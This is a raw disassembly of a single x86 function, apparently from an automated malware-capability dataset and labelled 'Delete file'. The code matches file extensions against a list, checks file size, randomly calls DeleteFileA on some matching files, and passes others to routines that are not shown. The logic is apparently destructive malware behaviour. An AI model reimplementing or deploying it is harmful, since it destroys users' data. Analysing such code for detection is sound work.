Function at 0x5077a3
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x20], 0x28
jb 0x507bff
xor eax, eax
or ecx, 0xffffffff
cmp byte [ebx + 0x2c], al
je 0x5077dd
cmp eax, 0xff
jge 0x5077d9
cmp byte [ebx + eax + 0x2c], 0x2e
jne 0x5077d1
mov ecx, eax
inc eax
cmp byte [ebx + eax + 0x2c], 0
jne 0x5077c1
test ecx, ecx
jge 0x5077e3
and byte [ebp - 0x18], 0
jmp 0x5077fe
lea eax, [ecx + ebx + 0x2d]
push 0xf
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
and dword [ebp - 4], 0
cmp byte [ebp - 0x18], 0
push esi
push edi
mov dword [ebp - 8], 0x32000
jne 0x50781e
cmp dword [ebx + 0x20], 0x5000
ja 0x507bc0
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcmpA]
lea eax, [ebp - 0x18]
push 0x503858
push eax
mov dword [ebp - 4], 1
call esi
test eax, eax
jne 0x507846
mov dword [ebp - 8], 0x14000
jmp 0x507bc0
push 3
lea eax, [ebp - 0x18]
pop edi
push edi
push 0x503854
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503850
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x50384c
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503848
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503844
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503840
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x5078ed
mov dword [ebp - 8], 0x12c000
jmp 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x50383c
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503838
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
lea eax, [ebp - 0x18]
push 0x503834
push eax
call esi
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503830
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x50382c
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503828
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503824
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503820
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x50381c
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503818
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503814
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503810
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x50380c
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
je 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503808
push eax
mov dword [ebp - 4], 2
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507a61
mov dword [ebp - 8], 0x800000
jmp 0x507bc0
push edi
lea eax, [ebp - 0x18]
push 0x503804
push eax
call fcn.005058d8
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0xc
test eax, eax
push 0x64
pop ebx
jne 0x507a97
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
cmp edx, 0x62
jge 0x507a97
push dword [ebp + 8]
call esi
push edi
lea eax, [ebp - 0x18]
push 0x503800
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507ac4
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
cmp edx, 0x28
jge 0x507ac4
push dword [ebp + 8]
call esi
push edi
lea eax, [ebp - 0x18]
push 0x5037fc
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507af1
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
cmp edx, 0x3c
jge 0x507af1
push dword [ebp + 8]
call esi
push edi
lea eax, [ebp - 0x18]
push 0x5037f8
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507b1e
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
cmp edx, 0x5f
jge 0x507b1e
push dword [ebp + 8]
call esi
push edi
lea eax, [ebp - 0x18]
push 0x5037f4
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507b4b
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
cmp edx, 8
jge 0x507b4b
push dword [ebp + 8]
call esi
push edi
lea eax, [ebp - 0x18]
push 0x5037f0
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507b78
call fcn.00505808
movzx eax, ax
cdq
mov ecx, ebx
idiv ecx
cmp edx, 0xa
jge 0x507b78
push dword [ebp + 8]
call esi
push edi
lea eax, [ebp - 0x18]
push 0x5037ec
push eax
call fcn.005058d8
add esp, 0xc
test eax, eax
jne 0x507ba3
call fcn.00505808
movzx eax, ax
cdq
idiv ebx
cmp edx, 0xf
jge 0x507ba3
push dword [ebp + 8]
call esi
push 0x5037e4
push dword [ebp + 8]
call fcn.00505836
pop ecx
test eax, eax
pop ecx
je 0x507bfd
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 8]
cmp dword [ebx + 0x20], eax
ja 0x507bfd
jmp 0x507bd5
push 0x800
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x509d08], 0
jne 0x507bca
cmp dword [ebp - 4], 1
jne 0x507bee
push dword [ebp + 8]
call fcn.005072df
jmp 0x507bfc
cmp dword [ebp - 4], 2
jne 0x507bfd
push dword [ebp + 8]
call fcn.005075e5
pop ecx
pop edi
pop esi
pop ebx
leave
ret